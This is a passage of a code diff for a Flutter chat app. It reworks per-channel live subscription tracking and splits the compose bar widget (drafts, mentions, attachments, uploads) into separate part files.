+            ref.read(relayConfigProvider).baseUrl != relayBaseUrl ||
+            _subscriptionRelayBaseUrl != relayBaseUrl) {
+          unsubscribe();
+          return;
+        }
+        final replaced = _unsubscribersByChannel[channelId];
+        if (replaced != null) {
+          unsubscribe();
+          continue;
+        }
+        _unsubscribersByChannel[channelId] = unsubscribe;
+      } catch (error) {
+        debugPrint(
+          '[ChannelsNotifier] live subscription failed for $channelId: $error',
+        );
+      }
+    }
+
+    if (ref.read(relaySessionProvider).status != SessionStatus.connected) {
       return;
     }
 
-    _unsubscribers.addAll(subscriptions.whereType<void Function()>());
+    if (subscriptionVersion != _subscriptionVersion) {
+      final desiredChannelIds = _desiredLiveChannelIds;
+      for (final entry in _unsubscribersByChannel.entries.toList()) {
+        if (desiredChannelIds.contains(entry.key)) continue;
+        _unsubscribersByChannel.remove(entry.key);
+        entry.value();
+      }
+      return;
+    }
 
     unawaited(_catchUpUnreadEvents(channels));
 
@@ -734,10 +805,13 @@ class ChannelsNotifier extends AsyncNotifier<List<Channel>> {
 
   void _clearLiveSubscriptions() {
     _subscriptionVersion++;
-    for (final unsubscribe in _unsubscribers) {
+    _desiredLiveChannels = const [];
+    _desiredLiveChannelIds = const {};
+    for (final unsubscribe in _unsubscribersByChannel.values) {
       unsubscribe();
     }
-    _unsubscribers.clear();
+    _unsubscribersByChannel.clear();
+    _subscriptionRelayBaseUrl = null;
     _backstopTimer?.cancel();
     _backstopTimer = null;
   }
diff --git a/mobile/lib/features/channels/compose_bar.dart b/mobile/lib/features/channels/compose_bar.dart
index 7560f998f3..2840a69049 100644
--- a/mobile/lib/features/channels/compose_bar.dart
+++ b/mobile/lib/features/channels/compose_bar.dart
@@ -1,6 +1,8 @@
 import 'dart:async';
 import 'dart:collection';
+import 'dart:io';
 import 'dart:math' as math;
+import 'dart:ui' show FlutterView;
 
 import 'package:camera/camera.dart' as camera;
 import 'package:flutter/foundation.dart';
@@ -19,8 +21,11 @@ import '../../shared/mentions/agent_identity_provider.dart';
 import '../../shared/relay/relay.dart';
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/avatar_image.dart';
+import '../../shared/widgets/anchored_popover_menu.dart';
 import '../../shared/widgets/buzz_loading_indicator.dart';
 import '../../shared/widgets/keyboard_dismiss_on_drag.dart';
+import '../../shared/widgets/mobile_tab_footer_backdrop.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../profile/user_cache_provider.dart';
 import '../profile/user_profile.dart';
 import '../../shared/custom_emoji/custom_emoji.dart';
@@ -39,954 +44,16 @@ import 'photo_library.dart';
 part 'compose_bar/helpers.dart';
 part 'compose_bar/agent_mention_labels.dart';
 part 'compose_bar/markdown_editing_controller.dart';
+part 'compose_bar/draft_lifecycle.dart';
 part 'compose_bar/suggestions.dart';
 part 'compose_bar/formatting_toolbar.dart';
 part 'compose_bar/attachments.dart';
+part 'compose_bar/upload_progress_pill.dart';
 part 'compose_bar/photo_gallery_picker.dart';
 part 'compose_bar/ios_photo_picker.dart';
 part 'compose_bar/ios_attachment_popover.dart';
 part 'compose_bar/camera_preview.dart';
 part 'compose_bar/send_button.dart';
 part 'compose_bar/layout.dart';
-
-const _maxConcurrentImageUploads = 3;
-
-/// Rich compose bar with @mention autocomplete and a markdown formatting
-/// toolbar. Used in both channel and thread views — the caller provides an
-/// [onSend] callback that handles actual message submission.
-typedef ComposeBarOnSend =
-    Future<void> Function(
-      String content,
-      List<String> mentionPubkeys, {
-      List<List<String>> mediaTags,
-    });
-
-class ComposeBar extends HookConsumerWidget {
-  final String channelId;
-  final String channelName;
-  final String? hintText;
-  final ComposeBarOnSend onSend;
-
-  /// Optional thread IDs for thread-scoped typing indicators.
-  final String? threadHeadId;
-  final String? rootId;
-
-  const ComposeBar({
-    super.key,
-    required this.channelId,
-    this.channelName = '',
-    this.hintText,
-    this.threadHeadId,
-    this.rootId,
-    required this.onSend,
-  });
-
-  @override
-  Widget build(BuildContext context, WidgetRef ref) {
-    final controller = useMemoized(_MarkdownEditingController.new);
-    useEffect(() => controller.dispose, [controller]);
-
-    // Restore and persist unsent text as a local draft so the Activity
-    // inbox Drafts filter reflects real composer state.
-    //
-    // The effect is additionally keyed on the active relay + pubkey identity:
-    // provider-level namespacing alone cannot protect a composer that stays
-    // mounted through an in-place community/account switch — the controller
-    // would retain the old identity's text and the next edit would persist it
-    // into the new identity's store. On identity change we replace the
-    // controller content with the new identity's own saved draft (or clear).
-    final draftKey = composeDraftKey(channelId, threadHeadId: threadHeadId);
-    final draftIdentity =
-        '${ref.watch(relayConfigProvider).baseUrl}'
-        ':${ref.watch(myPubkeyProvider) ?? 'anon'}';
-    final lastDraftIdentity = useRef<String?>(null);
-    useEffect(() {
-      final identityChanged =
-          lastDraftIdentity.value != null &&
-          lastDraftIdentity.value != draftIdentity;
-      lastDraftIdentity.value = draftIdentity;
-      final saved = ref.read(composeDraftsProvider.notifier).textFor(draftKey);
-      if (identityChanged) {
-        controller.text = saved ?? '';
-      } else if (saved != null && controller.text.isEmpty) {
-        controller.text = saved;
-      }
-      void persistDraft() {
-        ref
-            .read(composeDraftsProvider.notifier)
-            .save(
-              key: draftKey,
-              channelId: channelId,
-              threadHeadId: threadHeadId,
-              text: controller.text,
-            );
-      }
-
-      controller.addListener(persistDraft);
-      return () => controller.removeListener(persistDraft);
-    }, [controller, draftKey, draftIdentity]);
-    final focusNode = useFocusNode();
-    final isComposerExpanded = useState(false);
-    final attachmentSurface = useState(_AttachmentSurface.closed);
-    final iosAttachmentPopover = useMemoized(
-      _IOSAttachmentPopoverController.new,
-    );
-    useEffect(
-      () =>
-          () => unawaited(iosAttachmentPopover.dispose()),
-      [iosAttachmentPopover],
-    );
-    final isSending = useState(false);
-    final showFormatting = useState(false);
-    final attachments = useState<List<BlobDescriptor>>([]);
-    final uploadError = useState<String?>(null);
-    final uploadingCount = useState(0);
-    final clipboardHasImage = useState(false);
-    final hasAttachments = attachments.value.isNotEmpty;
-    final hasPendingUploads = uploadingCount.value > 0;
-    final customEmoji = ref.watch(customEmojiListProvider);
-    final reducedMotion = MediaQuery.disableAnimationsOf(context);
-    final composerExpansionController = useAnimationController(
-      initialValue: 0,
-      upperBound: 1.05,
-    );
-    final composerExpansionValue = useAnimation(composerExpansionController);
-    final composerExpansionProgress = composerExpansionValue
-        .clamp(0.0, 1.0)
-        .toDouble();
-
-    final resolvedHint =
-        hintText ??
-        (channelName.isNotEmpty ? 'Message #$channelName' : 'Message\u2026');
-
-    useEffect(() {
-      final target = isComposerExpanded.value ? 1.0 : 0.0;
-      if (reducedMotion) {
-        composerExpansionController.value = target;
-      } else if ((composerExpansionController.value - target).abs() > 0.001) {
-        composerExpansionController.animateWith(
-          SpringSimulation(
-            SpringDescription.withDurationAndBounce(
-              duration: const Duration(milliseconds: 280),
-              bounce: 0.16,
-            ),
-            composerExpansionController.value,
-            target,
-            0,
-            snapToEnd: true,
-          ),
-        );
-      }
-      return null;
-    }, [isComposerExpanded.value, reducedMotion]);
-
-    useEffect(() {
-      if (defaultTargetPlatform != TargetPlatform.iOS) return null;
-
-      var disposed = false;
-      Future<void> refreshClipboardAvailability() async {
-        final hasImage = await ref
-            .read(mediaUploadServiceProvider)
-            .clipboardHasImage();
-        if (!disposed && context.mounted) {
-          clipboardHasImage.value = hasImage;
-        }
-      }
-
-      void refreshWhenFocused() {
-        if (focusNode.hasFocus) refreshClipboardAvailability();
-      }
-
-      final lifecycleListener = AppLifecycleListener(
-        onResume: refreshClipboardAvailability,
-      );
-      focusNode.addListener(refreshWhenFocused);
-      refreshClipboardAvailability();
-      return () {
-        disposed = true;
-        focusNode.removeListener(refreshWhenFocused);
-        lifecycleListener.dispose();
-      };
-    }, [focusNode]);
-
-    // Mention state --------------------------------------------------------
-    final mentionQuery = useState<String?>(null);
-    final mentionStartIdx = useState(-1);
-    // Map of displayName → selected mention candidate built as the user selects
-    // mentions. Used to pass resolved pubkeys directly to onSend and to attach
-    // selected non-member agents before the message is published.
-    final mentionMap = useRef(<String, MentionCandidate>{});
-
-    // Channel autocomplete state ----------------------------------------------
-    final channelQuery = useState<String?>(null);
-    final channelStartIdx = useState(-1);
-    final channelsAsync = ref.watch(channelsProvider);
-
-    final membersAsync = ref.watch(channelMembersProvider(channelId));
-    final currentPubkey = ref.watch(currentPubkeyProvider);
-    final userCache = ref.watch(userCacheProvider);
-    final isDmChannel =
-        channelsAsync.asData?.value.any((c) => c.id == channelId && c.isDm) ??
-        false;
-
-    // Preload profiles for channel members, mentionable agents, and their
-    // owners so @mention suggestions show names ("managed by …" included).
-    final relayAgents = ref.watch(agentDirectoryProvider).asData?.value;
-    final agentOwners = ref.watch(agentOwnersProvider).asData?.value;
-    final agentMentionLabels = _agentMentionLabels(
-      candidates: mentionMap.value.values,
-    );
-    final agentMentionLabelsKey = (agentMentionLabels.toList()..sort()).join(
-      '\u0000',
-    );
-    useEffect(() {
-      controller.setAgentMentionNames(agentMentionLabels);
-      return null;
-    }, [controller, agentMentionLabelsKey]);
-    useEffect(
-      () {
-        final memberList = membersAsync.asData?.value ?? <ChannelMember>[];
-        final pubkeys = [
-          ...memberList.map((m) => m.pubkey),
-          ...?relayAgents?.map((a) => a.pubkey),
-          ...?agentOwners?.values,
-        ];
-        if (pubkeys.isNotEmpty) {
-          ref.read(userCacheProvider.notifier).preload(pubkeys);
-        }
-        return null;
-      },
-      [
-        membersAsync.asData?.value.length,
-        relayAgents?.length,
-        agentOwners?.length,
-      ],
-    );
-
-    // Typing indicator broadcast — throttled to one event per 3 seconds.
-    final lastTypingSentMs = useRef(0);
-    final isModifyingText = useRef(false);
-
-    // Detect @mention query and broadcast typing on text / selection change.
-    useEffect(() {
-      void listener() {
-        if (isModifyingText.value) return;
-        final text = controller.text;
-        final sel = controller.selection;
-
-        // Broadcast typing indicator (throttled).
-        if (text.isNotEmpty) {
-          final now = DateTime.now().millisecondsSinceEpoch;
-          if (now - lastTypingSentMs.value > _typingThrottleMs) {
-            lastTypingSentMs.value = now;
-            _sendTypingIndicator(
-              ref,
-              channelId: channelId,
-              threadHeadId: threadHeadId,
-              rootId: rootId,
-            );
-          }
-        }
-
-        if (!sel.isValid || !sel.isCollapsed) {
-          mentionQuery.value = null;
-          channelQuery.value = null;
-          return;
-        }
-        final cursor = sel.baseOffset;
-        if (cursor < 1) {
-          mentionQuery.value = null;
-          channelQuery.value = null;
-          return;
-        }
-
-        // Walk backward from cursor looking for trigger characters.
-        // stopAtSpace: false — @mentions support multi-word display names.
-        final atPos = findTrigger(text, cursor, '@', stopAtSpace: false);
-
-        if (atPos != null) {
-          mentionQuery.value = text.substring(atPos + 1, cursor).toLowerCase();
-          mentionStartIdx.value = atPos;
-          channelQuery.value = null;
-        } else {
-          mentionQuery.value = null;
-        }
-
-        // Channel autocomplete detection — only when no @mention is active.
-        if (mentionQuery.value == null) {
-          final hashPos = findTrigger(text, cursor, '#');
-          if (hashPos != null) {
-            channelQuery.value = text
-                .substring(hashPos + 1, cursor)
-                .toLowerCase();
-            channelStartIdx.value = hashPos;
-          } else {
-            channelQuery.value = null;
-          }
-        } else {
-          channelQuery.value = null;
-        }
-      }
-
-      controller.addListener(listener);
-      return () => controller.removeListener(listener);
-    }, [controller]);
-
-    // Ranked mention candidates (desktop-parity ordering + eligibility).
-    final suggestions = mentionQuery.value == null
-        ? const <MentionCandidate>[]
-        : ref
-              .watch(
-                mentionCandidatesProvider((
-                  channelId: channelId,
-                  query: mentionQuery.value!,
-                )),
-              )
-              .take(_mentionSuggestionLimit)
-              .toList();
-
-    // Resolve owner names for the visible "managed by …" subtitles.
-    useEffect(() {
-      final ownerPubkeys = [for (final s in suggestions) ?s.ownerPubkey];
-      if (ownerPubkeys.isNotEmpty) {
-        ref.read(userCacheProvider.notifier).preload(ownerPubkeys);
-      }
-      return null;
-    }, [suggestions.length, mentionQuery.value]);
-
-    // Filter channels against the query.
-    final channels = channelsAsync.asData?.value ?? <Channel>[];
-    final channelSuggestions = filterChannels(channels, channelQuery.value);
-
-    // Insert a selected mention into the text field.
-    void insertMention(MentionCandidate candidate) {
-      final name = candidate.label;
-      // Track the resolved candidate so we can pass its pubkey and prepare
-      // selected non-member agents at send time.
-      mentionMap.value[name] = candidate;
-
-      final start = mentionStartIdx.value.clamp(0, controller.text.length);
-      spliceAndMoveCursor(
-        controller,
-        focusNode,
-        start: start,
-        replacement: '@$name ',
-      );
-      mentionQuery.value = null;
-    }
-
-    // Insert a selected channel into the text field.
-    void insertChannel(Channel channel) {
-      final start = channelStartIdx.value.clamp(0, controller.text.length);
-      spliceAndMoveCursor(
-        controller,
-        focusNode,
-        start: start,
-        replacement: '#${channel.name} ',
-      );
-      channelQuery.value = null;
-    }
-
-    // Insert `@` at the cursor to manually trigger mention mode.
-    void triggerMention() => _insertTriggerAtCursor(controller, focusNode, '@');
-
-    // Insert `#` at the cursor to manually trigger channel mode.
-    void triggerChannel() => _insertTriggerAtCursor(controller, focusNode, '#');
-
-    // Insert a selected emoji at the cursor without replacing the draft.
-    void insertEmoji(String emoji) {
-      final text = controller.text;
-      final selection = controller.selection;
-      final cursor = selection.isValid
-          ? selection.baseOffset.clamp(0, text.length)
-          : text.length;
-      controller.value = TextEditingValue(
-        text: text.replaceRange(cursor, cursor, emoji),
-        selection: TextSelection.collapsed(offset: cursor + emoji.length),
-      );
-      focusNode.requestFocus();
-    }
-
-    void clearComposer() {
-      controller.clear();
-      attachments.value = [];
-      mentionMap.value.clear();
-      mentionQuery.value = null;
-      channelQuery.value = null;
-      attachmentSurface.value = _AttachmentSurface.closed;
-      showFormatting.value = false;
-      uploadError.value = null;
-      focusNode.requestFocus();
-    }
-
-    void removeAttachment(String url) {
-      attachments.value = _withoutAttachment(attachments.value, url);
-    }
-
-    // Send the message.
-    Future<void> send() async {
-      final text = controller.text.trim();
-      if ((text.isEmpty && !hasAttachments) ||
-          isSending.value ||
-          hasPendingUploads) {
-        return;
-      }
-
-      // Extract pubkeys for mentions present in the final text.
-      final selectedMentions = <MentionCandidate>[
-        for (final entry in mentionMap.value.entries)
-          if (hasMention(text, entry.key)) entry.value,
-      ];
-      final pubkeys = LinkedHashSet<String>.from(
-        selectedMentions.map((candidate) => candidate.pubkey.toLowerCase()),
-      ).toList();
-      final nonMemberAgentPubkeys = <String>[];
-      final nonMemberHumans = <MentionCandidate>[];
-      if (selectedMentions.isNotEmpty) {
-        final currentChannel = (await ref.read(
-          channelsProvider.future,
-        )).firstWhere((channel) => channel.id == channelId);
-        if (!currentChannel.isDm) {
-          final memberPubkeys = (await ref.read(
-            channelMembersProvider(channelId).future,
-          )).map((member) => member.pubkey.toLowerCase()).toSet();
-          final seenNonMembers = <String>{};
-          for (final candidate in selectedMentions) {
-            final pk = candidate.pubkey.toLowerCase();
-            if (memberPubkeys.contains(pk)) continue;
-            if (!seenNonMembers.add(pk)) continue;
-            if (candidate.isAgent) {
-              nonMemberAgentPubkeys.add(pk);
-            } else {
-              nonMemberHumans.add(candidate);
-            }
-          }
-        }
-      }
-
-      // Mentioning humans outside the channel prompts "Invite" / "Do
-      // nothing" (send without inviting) — mirrors desktop's
-      // NonMemberMentionDialog. Agents keep the existing silent auto-add.
-      var mentionPubkeys = pubkeys;
-      final referenceMentionTags = <List<String>>[];
-      var inviteHumanPubkeys = const <String>[];
-      if (nonMemberHumans.isNotEmpty) {
-        if (!context.mounted) return;
-        final choice = await _promptNonMemberMention(
-          context,
-          names: [for (final candidate in nonMemberHumans) candidate.label],
-        );
-        switch (choice) {
-          case null:
-            return; // Dismissed — keep the draft, send nothing.
-          case _NonMemberMentionChoice.invite:
-            inviteHumanPubkeys = [
-              for (final candidate in nonMemberHumans)
-                candidate.pubkey.toLowerCase(),
-            ];
-          case _NonMemberMentionChoice.sendWithoutInviting:
-            // Strip their p-tags (no channel notification) but keep a
-            // `mention` reference tag so their name still renders —
-            // mirrors desktop's mergeOutgoingTagsWithReferenceMentions.
-            final excluded = {
-              for (final candidate in nonMemberHumans)
-                candidate.pubkey.toLowerCase(),
-            };
-            mentionPubkeys = [
-              for (final pk in pubkeys)
-                if (!excluded.contains(pk)) pk,
-            ];
-            referenceMentionTags.addAll([
-              for (final pk in excluded) ['mention', pk],
-            ]);
-        }
-      }
-
-      final payload = _ComposeDraftPayload.fromDraft(
-        text: text,
-        attachments: attachments.value,
-        customEmoji: customEmoji,
-      );
-
-      isSending.value = true;
-      try {
-        if (nonMemberAgentPubkeys.isNotEmpty) {
-          await ref
-              .read(channelActionsProvider)
-              .addMembers(
-                channelId: channelId,
-                pubkeys: nonMemberAgentPubkeys,
-                role: 'bot',
-              );
-        }
-        if (inviteHumanPubkeys.isNotEmpty) {
-          await ref
-              .read(channelActionsProvider)
-              .addMembers(channelId: channelId, pubkeys: inviteHumanPubkeys);
-        }
-        await onSend(
-          payload.content,
-          mentionPubkeys,
-          mediaTags: [...payload.mediaTags, ...referenceMentionTags],
-        );
-        if (context.mounted) {
-          clearComposer();
-        }
-      } finally {
-        if (context.mounted) isSending.value = false;
-      }
-    }
-
-    Future<void> pickAndUpload(Future<BlobDescriptor?> Function() pick) async {
-      uploadError.value = null;
-      uploadingCount.value += 1;
-      try {
-        final uploaded = await pick();
-        if (uploaded != null && context.mounted) {
-          attachments.value = [...attachments.value, uploaded];
-        }
-      } catch (error) {
-        if (context.mounted) {
-          uploadError.value = _formatUploadError(error);
-        }
-      } finally {
-        if (context.mounted) {
-          uploadingCount.value -= 1;
-        }
-      }
-    }
-
-    Future<void> pickThenUpload({
-      required Future<XFile?> Function() pick,
-      required Future<BlobDescriptor> Function(XFile file) upload,
-    }) async {
-      uploadError.value = null;
-      try {
-        final picked = await pick();
-        if (picked == null || !context.mounted) return;
-        await pickAndUpload(() => upload(picked));
-      } catch (error) {
-        if (context.mounted) {
-          uploadError.value = _formatUploadError(error);
-        }
-      }
-    }
-
-    Future<void> uploadImages(List<XFile> images) async {
-      if (images.isEmpty) return;
-      uploadError.value = null;
-      uploadingCount.value += images.length;
-      try {
-        Future<({BlobDescriptor? uploaded, Object? error})> uploadImage(
-          XFile image,
-        ) async {
-          try {
-            final uploaded = await ref
-                .read(mediaUploadServiceProvider)
-                .uploadImage(image);
-            return (uploaded: uploaded, error: null);
-          } catch (error) {
-            return (uploaded: null, error: error);
-          }
-        }
-
-        final results = <({BlobDescriptor? uploaded, Object? error})>[];
-        for (
-          var start = 0;
-          start < images.length;
-          start += _maxConcurrentImageUploads
-        ) {
-          final end = math.min(
-            start + _maxConcurrentImageUploads,
-            images.length,
-          );
-          results.addAll(
-            await Future.wait([
-              for (final image in images.sublist(start, end))
-                uploadImage(image),
-            ]),
-          );
-        }
-        if (!context.mounted) return;
-
-        final uploaded = [for (final result in results) ?result.uploaded];
-        if (uploaded.isNotEmpty) {
-          attachments.value = [...attachments.value, ...uploaded];
-        }
-        final firstError = results
-            .map((result) => result.error)
-            .whereType<Object>()
-            .firstOrNull;
-        if (firstError != null) {
-          uploadError.value = _formatUploadError(firstError);
-        }
-      } finally {
-        if (context.mounted) {
-          uploadingCount.value = math.max(
-            0,
-            uploadingCount.value - images.length,
-          );
-        }
-      }
-    }
-
-    Widget buildContextMenu(
-      BuildContext context,
-      EditableTextState editableTextState,
-    ) {
-      void pasteImage() {
-        ContextMenuController.removeAny();
-        pickAndUpload(
-          ref.read(mediaUploadServiceProvider).readAndUploadClipboardImage,
-        );
-      }
-
-      if (defaultTargetPlatform == TargetPlatform.iOS &&
-          SystemContextMenu.isSupportedByField(editableTextState)) {
-        return SystemContextMenu.editableText(
-          editableTextState: editableTextState,
-          items: [
-            if (clipboardHasImage.value)
-              IOSSystemContextMenuItemCustom(
-                title: 'Paste Image',
-                onPressed: pasteImage,
-              ),
-            ...SystemContextMenu.getDefaultItems(editableTextState),
-          ],
-        );
-      }
-
-      final buttonItems = [...editableTextState.contextMenuButtonItems];
-      if (defaultTargetPlatform == TargetPlatform.iOS &&
-          clipboardHasImage.value) {
-        buttonItems.insert(
-          0,
-          ContextMenuButtonItem(label: 'Paste Image', onPressed: pasteImage),
-        );
-      }
-      return AdaptiveTextSelectionToolbar.buttonItems(
-        anchors: editableTextState.contextMenuAnchors,
-        buttonItems: buttonItems,
-      );
-    }
-
-    void uploadPastedImage(KeyboardInsertedContent content) {
-      final bytes = content.data;
-      if (bytes == null || bytes.isEmpty) {
-        uploadError.value = 'Unable to read pasted image';
-        return;
-      }
-
-      pickAndUpload(
-        () => ref
-            .read(mediaUploadServiceProvider)
-            .uploadImage(XFile.fromData(bytes)),
-      );
-    }
-
-    // Wrap (or insert) markdown formatting around the current selection.
-    void applyFormat(String prefix, [String? suffix]) {
-      suffix ??= prefix;
-      final text = controller.text;
-      final sel = controller.selection;
-      if (!sel.isValid) return;
-
-      isModifyingText.value = true;
-      try {
-        if (sel.isCollapsed) {
-          final offset = sel.baseOffset;
-          final updated =
-              '${text.substring(0, offset)}$prefix$suffix${text.substring(offset)}';
-          controller.text = updated;
-          controller.selection = TextSelection.collapsed(
-            offset: offset + prefix.length,
-          );
-        } else {
-          final selected = text.substring(sel.start, sel.end);
-          final updated =
-              '${text.substring(0, sel.start)}$prefix$selected$suffix${text.substring(sel.end)}';
-          controller.text = updated;
-          controller.selection = TextSelection.collapsed(
-            offset: sel.start + prefix.length + selected.length + suffix.length,
-          );
-        }
-      } finally {
-        isModifyingText.value = false;
-      }
-      focusNode.requestFocus();
-    }
-
-    // ----- Widget tree ----------------------------------------------------
-
-    void chooseAttachment(
-      Future<void> Function() choose, {
-      String? errorMessage,
-    }) {
-      attachmentSurface.value = _AttachmentSurface.closed;
-      unawaited(() async {
-        try {
-          await choose();
-        } catch (error) {
-          if (context.mounted) {
-            uploadError.value = errorMessage ?? _formatUploadError(error);
-          }
-        }
-      }());
-    }
-
-    void toggleAttachments() {
-      attachmentSurface.value = switch (attachmentSurface.value) {
-        _AttachmentSurface.closed => _AttachmentSurface.menu,
-        _AttachmentSurface.menu => _AttachmentSurface.closed,
-        _AttachmentSurface.camera ||
-        _AttachmentSurface.photos => _AttachmentSurface.menu,
-      };
-    }
-
-    void handleAttachmentTap(BuildContext triggerContext) {
-      if (defaultTargetPlatform != TargetPlatform.iOS ||
-          attachmentSurface.value != _AttachmentSurface.closed) {
-        toggleAttachments();
-        return;
-      }
-
-      unawaited(
-        iosAttachmentPopover
-            .present(
-              sourceContext: triggerContext,
-              onCapture: (image) => pickAndUpload(
-                () => ref.read(mediaUploadServiceProvider).uploadImage(image),
-              ),
-              onChoosePhotos: uploadImages,
-              onAllPhotos: () => chooseAttachment(() async {
-                final photos = await ref
-                    .read(mediaUploadServiceProvider)
-                    .pickGalleryImages();
-                await uploadImages(photos);
-              }, errorMessage: 'Unable to open your photo library.'),
-              onVideo: () => chooseAttachment(() {
-                final service = ref.read(mediaUploadServiceProvider);
-                return pickThenUpload(
-                  pick: service.pickGalleryVideo,
-                  upload: service.uploadVideo,
-                );
-              }),
-              onFiles: () => chooseAttachment(() {
-                final service = ref.read(mediaUploadServiceProvider);
-                return pickThenUpload(
-                  pick: service.pickAttachmentFile,
-                  upload: service.uploadFile,
-                );
-              }),
-            )
-            .then((didPresent) {
-              if (!didPresent && context.mounted) {
-                focusNode.unfocus();
-                toggleAttachments();
-              }
-            }),
-      );
-    }
-
-    void openCamera() {
-      focusNode.unfocus();
-      attachmentSurface.value = _AttachmentSurface.camera;
-    }
-
-    final motionDuration = reducedMotion
-        ? Duration.zero
-        : Duration(
-            milliseconds:
-                attachmentSurface.value == _AttachmentSurface.camera ||
-                    attachmentSurface.value == _AttachmentSurface.photos
-                ? 320
-                : 250,
-          );
-    final suggestionOverlayController = useMemoized(
-      OverlayPortalController.new,
-    );
-
-    useEffect(() {
-      WidgetsBinding.instance.addPostFrameCallback((_) {
-        if (context.mounted) suggestionOverlayController.show();
-      });
-      return null;
-    }, [suggestionOverlayController]);
-
-    void expandComposer() {
-      if (isComposerExpanded.value) return;
-      attachmentSurface.value = _AttachmentSurface.closed;
-      isComposerExpanded.value = true;
-      WidgetsBinding.instance.addPostFrameCallback((_) {
-        if (context.mounted) focusNode.requestFocus();
-      });
-    }
-
-    final suggestionPanel = channelSuggestions.isNotEmpty
-        ? KeyedSubtree(
-            key: const ValueKey('channel-suggestions'),
-            child: _ChannelSuggestions(
-              suggestions: channelSuggestions,
-              onSelect: insertChannel,
-            ),
-          )
-        : suggestions.isNotEmpty
-        ? KeyedSubtree(
-            key: const ValueKey('mention-suggestions'),
-            child: _MentionSuggestions(
-              suggestions: suggestions,
-              userCache: userCache,
-              currentPubkey: currentPubkey,
-              isDmChannel: isDmChannel,
-              onSelect: insertMention,
-            ),
-          )
-        : const SizedBox.shrink(key: ValueKey('no-suggestions'));
-    Widget buildOverlayPanel(_AttachmentSurface surface) {
-      return _AttachmentSurfacePanel(
-        key: ValueKey(
-          surface == _AttachmentSurface.closed
-              ? 'composer-suggestions'
-              : 'attachment-surface',
-        ),
-        surface: surface,
-        suggestionPanel: suggestionPanel,
-        onBack: () => attachmentSurface.value = _AttachmentSurface.menu,
-        onCamera: openCamera,
-        onPhotos: () {
-          focusNode.unfocus();
-          attachmentSurface.value = _AttachmentSurface.photos;
-        },
-        onVideo: () => chooseAttachment(() {
-          final service = ref.read(mediaUploadServiceProvider);
-          return pickThenUpload(
-            pick: service.pickGalleryVideo,
-            upload: service.uploadVideo,
-          );
-        }),
-        onFiles: () => chooseAttachment(() {
-          final service = ref.read(mediaUploadServiceProvider);
-          return pickThenUpload(
-            pick: service.pickAttachmentFile,
-            upload: service.uploadFile,
-          );
-        }),
-        onCapture: (image) async {
-          attachmentSurface.value = _AttachmentSurface.closed;
-          await pickAndUpload(
-            () => ref.read(mediaUploadServiceProvider).uploadImage(image),
-          );
-        },
-        onPickAllPhotos: ref.read(mediaUploadServiceProvider).pickGalleryImages,
-        onChoosePhotos: (photos) async {
-          attachmentSurface.value = _AttachmentSurface.closed;
-          await uploadImages(photos);
-        },
-      );
-    }
-
-    // Suggestions and attachments live in the overlay so showing them cannot
-    // reflow the composer. Both stay anchored just above the capsule.
-    return Padding(
-      padding: EdgeInsets.only(
-        left: Grid.twelve,
-        right: Grid.twelve,
-        bottom: MediaQuery.viewPaddingOf(context).bottom + Grid.xxs,
-      ),
-      child: OverlayPortal.overlayChildLayoutBuilder(
-        controller: suggestionOverlayController,
-        overlayChildBuilder: (context, layoutInfo) {
-          final composerOrigin = MatrixUtils.transformPoint(
-            layoutInfo.childPaintTransform,
-            Offset.zero,
-          );
-          return ValueListenableBuilder<_AttachmentSurface>(
-            valueListenable: attachmentSurface,
-            builder: (context, surface, _) {
-              final surfaceDuration = reducedMotion
-                  ? Duration.zero
-                  : Duration(
-                      milliseconds:
-                          surface == _AttachmentSurface.camera ||
-                              surface == _AttachmentSurface.photos
-                          ? 320
-                          : 250,
-                    );
-              final expandedSurfaceCoversComposer =
-                  surface == _AttachmentSurface.camera ||
-                  surface == _AttachmentSurface.photos;
-              final overlayAnchorY =
-                  composerOrigin.dy +
-                  (expandedSurfaceCoversComposer
-                      ? layoutInfo.childSize.height + Grid.twelve
-                      : 0);
-              return AnimatedPositioned(
-                duration: surfaceDuration,
-                curve:
-                    surface == _AttachmentSurface.camera ||
-                        surface == _AttachmentSurface.photos
-                    ? const Cubic(0.34, 1.25, 0.64, 1)
-                    : const Cubic(0.22, 1, 0.36, 1),
-                left: composerOrigin.dx,
-                bottom: layoutInfo.overlaySize.height - overlayAnchorY,
-                width: layoutInfo.childSize.width,
-                child: ClipRect(
-                  child: Padding(
-                    padding: const EdgeInsets.only(bottom: Grid.xxs),
-                    child: surface == _AttachmentSurface.closed
-                        ? _SuggestionPanelMotion(
-                            duration: surfaceDuration,
-                            alignment: Alignment.bottomLeft,
-                            child: buildOverlayPanel(surface),
-                          )
-                        : buildOverlayPanel(surface),
-                  ),
-                ),
-              );
-            },
-          );
-        },
-        child: _ComposeBarLayout(
-          attachments: attachments.value,
-          uploadingCount: uploadingCount.value,
-          onRemoveAttachment: removeAttachment,
-          uploadError: uploadError.value,
-          isExpanded: isComposerExpanded.value,
-          controller: controller,
-          focusNode: focusNode,
-          contextMenuBuilder: buildContextMenu,
-          onContentInserted: uploadPastedImage,
-          onSend: () => unawaited(send()),
-          resolvedHint: resolvedHint,
-          attachmentSurface: attachmentSurface.value,
-          onAttachmentTap: handleAttachmentTap,
-          onExpand: expandComposer,
-          expansionValue: composerExpansionValue,
-          expansionProgress: composerExpansionProgress,
-          formattingOpen: showFormatting.value,
-          onCloseFormatting: () => showFormatting.value = false,
-          motionDuration: motionDuration,
-          onFormat: applyFormat,
-          onMention: () {
-            attachmentSurface.value = _AttachmentSurface.closed;
-            triggerMention();
-          },
-          onChannel: () {
-            attachmentSurface.value = _AttachmentSurface.closed;
-            triggerChannel();
-          },
-          onEmoji: () {
-            attachmentSurface.value = _AttachmentSurface.closed;
-            showEmojiPicker(context: context, onSelect: insertEmoji);
-          },
-          onOpenFormatting: () {
-            attachmentSurface.value = _AttachmentSurface.closed;
-            showFormatting.value = true;
-          },
-          hasPendingUploads: hasPendingUploads,
-          isSending: isSending.value,
-        ),
-      ),
-    );
-  }
-}
+part 'compose_bar/dock.dart';
+part 'compose_bar/compose_bar_widget.dart';
diff --git a/mobile/lib/features/channels/compose_bar/attachments.dart b/mobile/lib/features/channels/compose_bar/attachments.dart
index 7c53ae1098..84bf5b5903 100644
--- a/mobile/lib/features/channels/compose_bar/attachments.dart
+++ b/mobile/lib/features/channels/compose_bar/attachments.dart
@@ -60,6 +60,7 @@ class _AttachmentSurfacePanel extends HookWidget {
   final Future<void> Function(XFile image) onCapture;
   final Future<List<XFile>> Function() onPickAllPhotos;
   final Future<void> Function(List<XFile> photos) onChoosePhotos;
